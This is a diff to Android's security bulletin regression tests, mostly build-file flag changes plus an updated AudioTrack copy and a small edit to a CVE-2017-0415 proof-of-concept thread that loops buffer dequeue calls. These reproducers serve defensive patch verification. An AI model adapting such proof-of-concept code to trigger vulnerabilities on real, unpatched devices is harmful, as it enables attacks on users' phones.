-LOCAL_COMPATIBILITY_SUITE := cts general-tests sts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts
 LOCAL_CTS_TEST_PACKAGE := android.security.cts
 
 LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
 LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
 include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8432/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8432/Android.mk
index fffa836..681b8ef 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8432/Android.mk
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8432/Android.mk
@@ -22,14 +22,10 @@
 LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests sts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts
 LOCAL_CTS_TEST_PACKAGE := android.security.cts
 
 LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS := -Wno-unused-parameter
 LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
 include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8434/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8434/Android.mk
index b862881..72754be 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8434/Android.mk
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8434/Android.mk
@@ -22,14 +22,10 @@
 LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests sts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts
 LOCAL_CTS_TEST_PACKAGE := android.security.cts
 
 LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS := -Wno-unused-parameter
 LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
 include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8460/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8460/Android.mk
index 6c05204..30506f3 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8460/Android.mk
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8460/Android.mk
@@ -22,14 +22,10 @@
 LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests sts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts
 LOCAL_CTS_TEST_PACKAGE := android.security.cts
 
 LOCAL_ARM_MODE := arm
-CFLAGS := -Wall -W -g -O2 -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS := -Wno-unused-parameter
 LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
 include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8482/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8482/Android.mk
index d4448e3..ee9620a 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8482/Android.mk
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8482/Android.mk
@@ -22,14 +22,10 @@
 LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests sts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts
 LOCAL_CTS_TEST_PACKAGE := android.security.cts
 
 LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS := -Wno-unused-parameter
 LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
 include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0415/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0415/poc.cpp
index 36cbdb4..37e3ca7 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0415/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0415/poc.cpp
@@ -40,7 +40,8 @@
   while (quit) {
     int buffer;
     sp<Fence> fence;
-    bufferProducer->dequeueBuffer(&buffer, &fence, 800, 600, 1, 0, nullptr);
+    bufferProducer->dequeueBuffer(&buffer, &fence, 800, 600, 1, 0, nullptr,
+                                  nullptr);
   }
   return NULL;
 }
@@ -52,8 +53,6 @@
   sp<IGraphicBufferProducer> bufferProducer = NULL;
   sp<IGraphicBufferConsumer> bufferConsumer = NULL;
 
-  BufferQueue::createBufferQueue(&bufferProducer, &bufferConsumer);
-
   pthread_t thread;
   pthread_create(&thread, NULL, start2, &bufferProducer);
 
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0597/AudioTrackModified.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0597/AudioTrackModified.cpp
index a3057c2..afbfb52 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0597/AudioTrackModified.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0597/AudioTrackModified.cpp
@@ -22,6 +22,7 @@
 #include <math.h>
 #include <sys/resource.h>
 
+#include <audio_utils/clock.h>
 #include <audio_utils/primitives.h>
 #include <binder/IPCThreadState.h>
 #include <media/AudioTrack.h>
@@ -62,9 +63,12 @@
     return tv.tv_sec * 1000000ll + tv.tv_nsec / 1000;
 }
 
-static inline nsecs_t convertTimespecToNs(const struct timespec &tv)
-{
-    return tv.tv_sec * (long long)NANOS_PER_SECOND + tv.tv_nsec;
+// TODO move to audio_utils.
+static inline struct timespec convertNsToTimespec(int64_t ns) {
+    struct timespec tv;
+    tv.tv_sec = static_cast<time_t>(ns / NANOS_PER_SECOND);
+    tv.tv_nsec = static_cast<long>(ns % NANOS_PER_SECOND);
+    return tv;
 }
 
 // current monotonic time in microseconds.
@@ -184,6 +188,7 @@
       mPreviousSchedulingGroup(SP_DEFAULT),
       mPausedPosition(0),
       mSelectedDeviceId(AUDIO_PORT_HANDLE_NONE),
+      mRoutedDeviceId(AUDIO_PORT_HANDLE_NONE),
       mPortId(AUDIO_PORT_HANDLE_NONE)
 {
     mAttributes.content_type = AUDIO_CONTENT_TYPE_UNKNOWN;
@@ -271,7 +276,7 @@
         }
         // No lock here: worst case we remove a NULL callback which will be a nop
         if (mDeviceCallback != 0 && mOutput != AUDIO_IO_HANDLE_NONE) {
-            AudioSystem::removeAudioDeviceCallback(mDeviceCallback, mOutput);
+            AudioSystem::removeAudioDeviceCallback(this, mOutput);
         }
         IInterface::asBinder(mAudioTrack)->unlinkToDeath(mDeathNotifier, this);
         mAudioTrack.clear();
@@ -542,7 +547,8 @@
     mUpdatePeriod = 0;
     mPosition = 0;
     mReleased = 0;
-    mStartUs = 0;
+    mStartNs = 0;
+    mStartFromZeroUs = 0;
     AudioSystem::acquireAudioSessionId(mSessionId, mClientPid);
     mSequence = 1;
     mObservedSequence = mSequence;
@@ -590,6 +596,7 @@
             mStartEts.clear();
         }
     }
+    mStartNs = systemTime(); // save this for timestamp adjustment after starting.
     if (previousState == STATE_STOPPED || previousState == STATE_FLUSHED) {
         // reset current position as seen by client to 0
         mPosition = 0;
@@ -608,7 +615,8 @@
                             + mStartEts.mPosition[ExtendedTimestamp::LOCATION_SERVER]),
                     (long long)mStartEts.mFlushed,
                     (long long)mFramesWritten);
-            mFramesWrittenServerOffset = -mStartEts.mPosition[ExtendedTimestamp::LOCATION_SERVER];
+            // mStartEts is already adjusted by mFramesWrittenServerOffset, so we delta adjust.
+            mFramesWrittenServerOffset -= mStartEts.mPosition[ExtendedTimestamp::LOCATION_SERVER];
         }
         mFramesWritten = 0;
         mProxy->clearTimestamp(); // need new server push for valid timestamp
@@ -618,7 +626,7 @@
         // since the flush is asynchronous and stop may not fully drain.
         // We save the time when the track is started to later verify whether
         // the counters are realistic (i.e. start from zero after this time).
-        mStartUs = getNowUs();
+        mStartFromZeroUs = mStartNs / 1000;
 
         // force refresh of remaining frames by processAudioBuffer() as last
         // write before stop could be partial.
@@ -908,13 +916,13 @@
             effectiveRate, effectiveSpeed, effectivePitch);
 
     if (!isAudioPlaybackRateValid(playbackRateTemp)) {
-        ALOGV("setPlaybackRate(%f, %f) failed (effective rate out of bounds)",
+        ALOGW("setPlaybackRate(%f, %f) failed (effective rate out of bounds)",
                 playbackRate.mSpeed, playbackRate.mPitch);
         return BAD_VALUE;
     }
     // Check if the buffer size is compatible.
     if (!isSampleRateSpeedAllowed_l(effectiveRate, effectiveSpeed)) {
-        ALOGV("setPlaybackRate(%f, %f) failed (buffer size)",
+        ALOGW("setPlaybackRate(%f, %f) failed (buffer size)",
                 playbackRate.mSpeed, playbackRate.mPitch);
         return BAD_VALUE;
     }
@@ -922,13 +930,13 @@
     // Check resampler ratios are within bounds
     if ((uint64_t)effectiveRate > (uint64_t)mSampleRate *
             (uint64_t)AUDIO_RESAMPLER_DOWN_RATIO_MAX) {
-        ALOGV("setPlaybackRate(%f, %f) failed. Resample rate exceeds max accepted value",
+        ALOGW("setPlaybackRate(%f, %f) failed. Resample rate exceeds max accepted value",
                 playbackRate.mSpeed, playbackRate.mPitch);
         return BAD_VALUE;
     }
 
     if ((uint64_t)effectiveRate * (uint64_t)AUDIO_RESAMPLER_UP_RATIO_MAX < (uint64_t)mSampleRate) {
-        ALOGV("setPlaybackRate(%f, %f) failed. Resample rate below min accepted value",
+        ALOGW("setPlaybackRate(%f, %f) failed. Resample rate below min accepted value",
                         playbackRate.mSpeed, playbackRate.mPitch);
         return BAD_VALUE;
     }
@@ -1221,12 +1229,26 @@
     return mSelectedDeviceId;
 }
 
+// must be called with mLock held
+void AudioTrack::updateRoutedDeviceId_l()
+{
+    // if the track is inactive, do not update actual device as the output stream maybe routed
+    // to a device not relevant to this client because of other active use cases.
+    if (mState != STATE_ACTIVE) {
+        return;
+    }
+    if (mOutput != AUDIO_IO_HANDLE_NONE) {
+        audio_port_handle_t deviceId = AudioSystem::getDeviceIdForIo(mOutput);
+        if (deviceId != AUDIO_PORT_HANDLE_NONE) {
+            mRoutedDeviceId = deviceId;
+        }
+    }
+}
+
 audio_port_handle_t AudioTrack::getRoutedDeviceId() {
     AutoMutex lock(mLock);
-    if (mOutput == AUDIO_IO_HANDLE_NONE) {
-        return AUDIO_PORT_HANDLE_NONE;
-    }
-    return AudioSystem::getDeviceIdForIo(mOutput);
+    updateRoutedDeviceId_l();
+    return mRoutedDeviceId;
 }
 
 status_t AudioTrack::attachAuxEffect(int effectId)
@@ -1247,9 +1269,41 @@
     return mStreamType;
 }
 
+uint32_t AudioTrack::latency()
+{
+    AutoMutex lock(mLock);
+    updateLatency_l();
+    return mLatency;
+}
+
 // -------------------------------------------------------------------------
 
 // must be called with mLock held
+void AudioTrack::updateLatency_l()
+{
+    status_t status = AudioSystem::getLatency(mOutput, &mAfLatency);
+    if (status != NO_ERROR) {
+        ALOGW("getLatency(%d) failed status %d", mOutput, status);
+    } else {
+        // FIXME don't believe this lie
+        mLatency = mAfLatency + (1000LL * mFrameCount) / mSampleRate;
+    }
+}
+
+// TODO Move this macro to a common header file for enum to string conversion in audio framework.
+#define MEDIA_CASE_ENUM(name) case name: return #name
+const char * AudioTrack::convertTransferToText(transfer_type transferType) {
+    switch (transferType) {
+        MEDIA_CASE_ENUM(TRANSFER_DEFAULT);
+        MEDIA_CASE_ENUM(TRANSFER_CALLBACK);
+        MEDIA_CASE_ENUM(TRANSFER_OBTAIN);
+        MEDIA_CASE_ENUM(TRANSFER_SYNC);
+        MEDIA_CASE_ENUM(TRANSFER_SHARED);
+        default:
+            return "UNRECOGNIZED";
+    }
+}
+
 status_t AudioTrack::createTrack_l()
 {
     const sp<IAudioFlinger>& audioFlinger = AudioSystem::get_audio_flinger();
@@ -1258,12 +1312,10 @@
         return NO_INIT;
     }
 
-    if (mDeviceCallback != 0 && mOutput != AUDIO_IO_HANDLE_NONE) {
-        AudioSystem::removeAudioDeviceCallback(mDeviceCallback, mOutput);
-    }
     audio_io_handle_t output;
     audio_stream_type_t streamType = mStreamType;
     audio_attributes_t *attr = (mStreamType == AUDIO_STREAM_DEFAULT) ? &mAttributes : NULL;
+    bool callbackAdded = false;
 
     // mFlags (not mOrigFlags) is modified depending on whether fast request is accepted.
     // After fast request is denied, we will request again if IAudioTrack is re-created.
@@ -1274,10 +1326,11 @@
     config.channel_mask = mChannelMask;
     config.format = mFormat;
     config.offload_info = mOffloadInfoCopy;
+    mRoutedDeviceId = mSelectedDeviceId;
     status = AudioSystem::getOutputForAttr(attr, &output,
                                            mSessionId, &streamType, mClientUid,
                                            &config,
-                                           mFlags, &mSelectedDeviceId, &mPortId);
+                                           mFlags, &mRoutedDeviceId, &mPortId);
 
     if (status != NO_ERROR || output == AUDIO_IO_HANDLE_NONE) {
         ALOGE("Could not get audio output for session %d, stream type %d, usage %d, sample rate %u,"
@@ -1325,22 +1378,32 @@
 
     // Client can only express a preference for FAST.  Server will perform additional tests.
     if (mFlags & AUDIO_OUTPUT_FLAG_FAST) {
-        bool useCaseAllowed =
             // either of these use cases:
             // use case 1: shared buffer
-            (mSharedBuffer != 0) ||
+        bool sharedBuffer = mSharedBuffer != 0;
+        bool transferAllowed =
             // use case 2: callback transfer mode
             (mTransfer == TRANSFER_CALLBACK) ||
             // use case 3: obtain/release mode
             (mTransfer == TRANSFER_OBTAIN) ||
             // use case 4: synchronous write
             ((mTransfer == TRANSFER_SYNC) && mThreadCanCallJava);
+
+        bool useCaseAllowed = sharedBuffer || transferAllowed;
+        if (!useCaseAllowed) {
+            ALOGW("AUDIO_OUTPUT_FLAG_FAST denied, not shared buffer and transfer = %s",
+                  convertTransferToText(mTransfer));
+        }
+
         // sample rates must also match
-        bool fastAllowed = useCaseAllowed && (mSampleRate == mAfSampleRate);
+        bool sampleRateAllowed = mSampleRate == mAfSampleRate;
+        if (!sampleRateAllowed) {
+            ALOGW("AUDIO_OUTPUT_FLAG_FAST denied, rates do not match %u Hz, require %u Hz",
+                  mSampleRate, mAfSampleRate);
+        }
+
+        bool fastAllowed = useCaseAllowed && sampleRateAllowed;
         if (!fastAllowed) {
-            ALOGW("AUDIO_OUTPUT_FLAG_FAST denied by client; transfer %d, "
-                "track %u Hz, output %u Hz",
-                mTransfer, mSampleRate, mAfSampleRate);
             mFlags = (audio_output_flags_t) (mFlags & ~AUDIO_OUTPUT_FLAG_FAST);
         }
     }
@@ -1419,6 +1482,9 @@
 
     pid_t tid = -1;
     if (mFlags & AUDIO_OUTPUT_FLAG_FAST) {
+        // It is currently meaningless to request SCHED_FIFO for a Java thread.  Even if the
+        // application-level code follows all non-blocking design rules, the language runtime
+        // doesn't also follow those rules, so the thread will not benefit overall.
         if (mAudioTrackThread != 0 && !mThreadCanCallJava) {
             tid = mAudioTrackThread->getTid();
         }
@@ -1457,12 +1523,14 @@
     sp<IMemory> iMem = track->getCblk();
     if (iMem == 0) {
         ALOGE("Could not get control block");
-        return NO_INIT;
+        status = NO_INIT;
+        goto release;
     }
     void *iMemPointer = iMem->pointer();
     if (iMemPointer == NULL) {
         ALOGE("Could not get control block pointer");
-        return NO_INIT;
+        status = NO_INIT;
+        goto release;
     }
     // invariant that mAudioTrack != 0 is true only after set() returns successfully
     if (mAudioTrack != 0) {
@@ -1524,6 +1592,15 @@
         }
     }
 
+    //mOutput != output includes the case where mOutput == AUDIO_IO_HANDLE_NONE for first creation
+    if (mDeviceCallback != 0 && mOutput != output) {
+        if (mOutput != AUDIO_IO_HANDLE_NONE) {
+            AudioSystem::removeAudioDeviceCallback(this, mOutput);
+        }
+        AudioSystem::addAudioDeviceCallback(this, output);
+        callbackAdded = true;
+    }
+
     // We retain a copy of the I/O handle, but don't own the reference
     mOutput = output;
     mRefreshRemaining = true;
@@ -1539,16 +1616,15 @@
         buffers = mSharedBuffer->pointer();
         if (buffers == NULL) {
             ALOGE("Could not get buffer pointer");
-            return NO_INIT;
+            status = NO_INIT;
+            goto release;
         }
     }
 
     mAudioTrack->attachAuxEffect(mAuxEffectId);
-    // FIXME doesn't take into account speed or future sample rate changes (until restoreTrack)
-    // FIXME don't believe this lie
-    mLatency = mAfLatency + (1000*frameCount) / mSampleRate;
-
     mFrameCount = frameCount;
+    updateLatency_l();  // this refetches mAfLatency and sets mLatency
+
     // If IAudioTrack is re-created, don't let the requested frameCount
     // decrease.  This can confuse clients that cache frameCount().
     if (frameCount > mReqFrameCount) {
@@ -1586,15 +1662,15 @@
     mDeathNotifier = new DeathNotifier(this);
     IInterface::asBinder(mAudioTrack)->linkToDeath(mDeathNotifier, this);
 
-    if (mDeviceCallback != 0) {
-        AudioSystem::addAudioDeviceCallback(mDeviceCallback, mOutput);
-    }
-
     return NO_ERROR;
     }
 
 release:
     AudioSystem::releaseOutput(output, streamType, mSessionId);
+    if (callbackAdded) {
+        // note: mOutput is always valid is callbackAdded is true
+        AudioSystem::removeAudioDeviceCallback(this, mOutput);
+    }
     if (status == NO_ERROR) {
         status = NO_INIT;
     }
@@ -2041,7 +2117,14 @@
     // Convert frame units to time units
     nsecs_t ns = NS_WHENEVER;
     if (minFrames != (uint32_t) ~0) {
-        ns = framesToNanoseconds(minFrames, sampleRate, speed) + kWaitPeriodNs;
+        // AudioFlinger consumption of client data may be irregular when coming out of device
+        // standby since the kernel buffers require filling. This is throttled to no more than 2x
+        // the expected rate in the MixerThread. Hence, we reduce the estimated time to wait by one
+        // half (but no more than half a second) to improve callback accuracy during these temporary
+        // data surges.
+        const nsecs_t estimatedNs = framesToNanoseconds(minFrames, sampleRate, speed);
+        constexpr nsecs_t maxThrottleCompensationNs = 500000000LL;
+        ns = estimatedNs - min(estimatedNs / 2, maxThrottleCompensationNs) + kWaitPeriodNs;
         ns -= (timeAfterCallbacks - timeBeforeCallbacks);  // account for callback time
         // TODO: Should we warn if the callback time is too long?
         if (ns < 0) ns = 0;
@@ -2320,6 +2403,7 @@
 
 bool AudioTrack::isSampleRateSpeedAllowed_l(uint32_t sampleRate, float speed)
 {
+    updateLatency_l();
     // applicable for mixing tracks only (not offloaded or direct)
     if (mStaticProxy != 0) {
         return true; // static tracks do not have issues with buffer sizing.
@@ -2327,9 +2411,14 @@
     const size_t minFrameCount =
             calculateMinFrameCount(mAfLatency, mAfFrameCount, mAfSampleRate, sampleRate, speed
                 /*, 0 mNotificationsPerBufferReq*/);
-    ALOGV("isSampleRateSpeedAllowed_l mFrameCount %zu  minFrameCount %zu",
+    const bool allowed = mFrameCount >= minFrameCount;
+    ALOGD_IF(!allowed,
+            "isSampleRateSpeedAllowed_l denied "
+            "mAfLatency:%u  mAfFrameCount:%zu  mAfSampleRate:%u  sampleRate:%u  speed:%f "
+            "mFrameCount:%zu < minFrameCount:%zu",
+            mAfLatency, mAfFrameCount, mAfSampleRate, sampleRate, speed,
             mFrameCount, minFrameCount);
-    return mFrameCount >= minFrameCount;
+    return allowed;
 }
 
 status_t AudioTrack::setParameters(const String8& keyValuePairs)
@@ -2473,6 +2562,7 @@
             status = ets.getBestTimestamp(&timestamp, &location);
 
             if (status == OK) {
+                updateLatency_l();
                 // It is possible that the best location has moved from the kernel to the server.
                 // In this case we adjust the position from the previous computed latency.
                 if (location == ExtendedTimestamp::LOCATION_SERVER) {
@@ -2507,7 +2597,7 @@
                 // We update the timestamp time even when paused.
                 if (mState == STATE_PAUSED /* not needed: STATE_PAUSED_STOPPING */) {
                     const int64_t now = systemTime();
-                    const int64_t at = convertTimespecToNs(timestamp.mTime);
+                    const int64_t at = audio_utils_ns_from_timespec(&timestamp.mTime);
                     const int64_t lag =
                             (ets.mTimeNs[ExtendedTimestamp::LOCATION_SERVER_LASTKERNELOK] < 0 ||
                                 ets.mTimeNs[ExtendedTimestamp::LOCATION_KERNEL_LASTKERNELOK] < 0)
@@ -2519,8 +2609,7 @@
                     if (at < limit) {
                         ALOGV("timestamp pause lag:%lld adjusting from %lld to %lld",
                                 (long long)lag, (long long)at, (long long)limit);
-                        timestamp.mTime.tv_sec = limit / NANOS_PER_SECOND;
-                        timestamp.mTime.tv_nsec = limit % NANOS_PER_SECOND; // compiler opt.
+                        timestamp.mTime = convertNsToTimespec(limit);
                     }
                 }
                 mPreviousLocation = location;
@@ -2563,18 +2652,18 @@
         // the previous song under gapless playback.
         // However, we sometimes see zero timestamps, then a glitch of
         // the previous song's position, and then correct timestamps afterwards.
-        if (mStartUs != 0 && mSampleRate != 0) {
+        if (mStartFromZeroUs != 0 && mSampleRate != 0) {
             static const int kTimeJitterUs = 100000; // 100 ms
             static const int k1SecUs = 1000000;
 
             const int64_t timeNow = getNowUs();
 
-            if (timeNow < mStartUs + k1SecUs) { // within first second of starting
+            if (timeNow < mStartFromZeroUs + k1SecUs) { // within first second of starting
                 const int64_t timestampTimeUs = convertTimespecToUs(timestamp.mTime);
-                if (timestampTimeUs < mStartUs) {
+                if (timestampTimeUs < mStartFromZeroUs) {
                     return WOULD_BLOCK;  // stale timestamp time, occurs before start.
                 }
-                const int64_t deltaTimeUs = timestampTimeUs - mStartUs;
+                const int64_t deltaTimeUs = timestampTimeUs - mStartFromZeroUs;
                 const int64_t deltaPositionByUs = (double)timestamp.mPosition * 1000000
                         / ((double)mSampleRate * mPlaybackRate.mSpeed);
 
@@ -2597,10 +2686,10 @@
                     return WOULD_BLOCK;
                 }
                 if (deltaPositionByUs != 0) {
-                    mStartUs = 0; // don't check again, we got valid nonzero position.
+                    mStartFromZeroUs = 0; // don't check again, we got valid nonzero position.
                 }
             } else {
-                mStartUs = 0; // don't check again, start time expired.
+                mStartFromZeroUs = 0; // don't check again, start time expired.
             }
             mTimestampStartupGlitchReported = false;
         }
@@ -2638,13 +2727,33 @@
     // Prevent retrograde motion in timestamp.
     // This is sometimes caused by erratic reports of the available space in the ALSA drivers.
     if (status == NO_ERROR) {
+        // previousTimestampValid is set to false when starting after a stop or flush.
         if (previousTimestampValid) {
-            const int64_t previousTimeNanos = convertTimespecToNs(mPreviousTimestamp.mTime);
-            const int64_t currentTimeNanos = convertTimespecToNs(timestamp.mTime);
+            const int64_t previousTimeNanos =
+                    audio_utils_ns_from_timespec(&mPreviousTimestamp.mTime);
+            int64_t currentTimeNanos = audio_utils_ns_from_timespec(&timestamp.mTime);
+
+            // Fix stale time when checking timestamp right after start().
+            //
+            // For offload compatibility, use a default lag value here.
+            // Any time discrepancy between this update and the pause timestamp is handled
+            // by the retrograde check afterwards.
+            const int64_t lagNs = int64_t(mAfLatency * 1000000LL);
+            const int64_t limitNs = mStartNs - lagNs;
+            if (currentTimeNanos < limitNs) {
+                ALOGD("correcting timestamp time for pause, "
+                        "currentTimeNanos: %lld < limitNs: %lld < mStartNs: %lld",
+                        (long long)currentTimeNanos, (long long)limitNs, (long long)mStartNs);
+                timestamp.mTime = convertNsToTimespec(limitNs);
+                currentTimeNanos = limitNs;
+            }
+
+            // retrograde check
             if (currentTimeNanos < previousTimeNanos) {
                 ALOGW("retrograde timestamp time corrected, %lld < %lld",
                         (long long)currentTimeNanos, (long long)previousTimeNanos);
                 timestamp.mTime = mPreviousTimestamp.mTime;
+                // currentTimeNanos not used below.
             }
 
             // Looking at signed delta will work even when the timestamps
@@ -2670,7 +2779,7 @@
 #if 0
             // Uncomment this to verify audio timestamp rate.
             const int64_t deltaTime =
-                    convertTimespecToNs(timestamp.mTime) - previousTimeNanos;
+                    audio_utils_ns_from_timespec(&timestamp.mTime) - previousTimeNanos;
             if (deltaTime != 0) {
                 const int64_t computedSampleRate =
                         deltaPosition * (long long)NANOS_PER_SECOND / deltaTime;
@@ -2762,7 +2871,7 @@
         return BAD_VALUE;
     }
     AutoMutex lock(mLock);
-    if (mDeviceCallback == callback) {
+    if (mDeviceCallback.unsafe_get() == callback.get()) {
         ALOGW("%s adding same callback!", __FUNCTION__);
         return INVALID_OPERATION;
     }
@@ -2770,9 +2879,9 @@
     if (mOutput != AUDIO_IO_HANDLE_NONE) {
         if (mDeviceCallback != 0) {
             ALOGW("%s callback already present!", __FUNCTION__);
-            AudioSystem::removeAudioDeviceCallback(mDeviceCallback, mOutput);
+            AudioSystem::removeAudioDeviceCallback(this, mOutput);
         }
-        status = AudioSystem::addAudioDeviceCallback(callback, mOutput);
+        status = AudioSystem::addAudioDeviceCallback(this, mOutput);
     }
     mDeviceCallback = callback;
     return status;
@@ -2786,17 +2895,39 @@
         return BAD_VALUE;
     }
     AutoMutex lock(mLock);
-    if (mDeviceCallback != callback) {
+    if (mDeviceCallback.unsafe_get() != callback.get()) {
         ALOGW("%s removing different callback!", __FUNCTION__);
         return INVALID_OPERATION;
     }
+    mDeviceCallback.clear();
     if (mOutput != AUDIO_IO_HANDLE_NONE) {
-        AudioSystem::removeAudioDeviceCallback(mDeviceCallback, mOutput);
+        AudioSystem::removeAudioDeviceCallback(this, mOutput);
     }
-    mDeviceCallback = 0;
     return NO_ERROR;
 }
 
+
+void AudioTrack::onAudioDeviceUpdate(audio_io_handle_t audioIo,
+                                 audio_port_handle_t deviceId)
+{
+    sp<AudioSystem::AudioDeviceCallback> callback;
+    {
+        AutoMutex lock(mLock);
+        if (audioIo != mOutput) {
+            return;
+        }
+        callback = mDeviceCallback.promote();
+        // only update device if the track is active as route changes due to other use cases are
+        // irrelevant for this client
+        if (mState == STATE_ACTIVE) {
+            mRoutedDeviceId = deviceId;
+        }
+    }
+    if (callback.get() != nullptr) {
+        callback->onAudioDeviceUpdate(mOutput, mRoutedDeviceId);
+    }
+}
+
 status_t AudioTrack::pendingDuration(int32_t *msec, ExtendedTimestamp::Location location)
 {
     if (msec == nullptr ||
@@ -2854,7 +2985,7 @@
     case STATE_STOPPED:
         if (isOffloadedOrDirect_l()) {
             // check if we have started in the past to return true.
-            return mStartUs > 0;
+            return mStartFromZeroUs > 0;
         }
         // A normal audio track may still be draining, so
         // check if stream has ended.  This covers fasttrack position
@@ -2944,6 +3075,7 @@
     {
         AutoMutex _l(mMyLock);
         if (mPaused) {
+            // TODO check return value and handle or log
             mMyCond.wait(mMyLock);
             // caller will check for exitPending()
             return true;
@@ -2953,9 +3085,12 @@
             mPausedInt = false;
         }
         if (mPausedInt) {
+            // TODO use futex instead of condition, for event flag "or"
             if (mPausedNs > 0) {
+                // TODO check return value and handle or log
                 (void) mMyCond.waitRelative(mMyLock, mPausedNs);
             } else {
+                // TODO check return value and handle or log
                 mMyCond.wait(mMyLock);
             }
             mPausedInt = false;
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0597/poc.h b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0597/poc.h
index 5a34ef2..855a3ea 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0597/poc.h
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0597/poc.h
@@ -1,5 +1,5 @@
 /**
- * Copyright (C) 2019 The Android Open Source Project
+ * Copyright (C) 2020 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0726/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0726/Android.mk
index 6ba0dd5..1f47f7b 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0726/Android.mk
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0726/Android.mk
@@ -23,6 +23,8 @@
 LOCAL_SHARED_LIBRARIES := libstagefright
 LOCAL_SHARED_LIBRARIES += libutils
 LOCAL_SHARED_LIBRARIES += liblog
+LOCAL_SHARED_LIBRARIES += libbinder
+LOCAL_SHARED_LIBRARIES += libmedia
 LOCAL_C_INCLUDES := frameworks/av/media/libstagefright
 
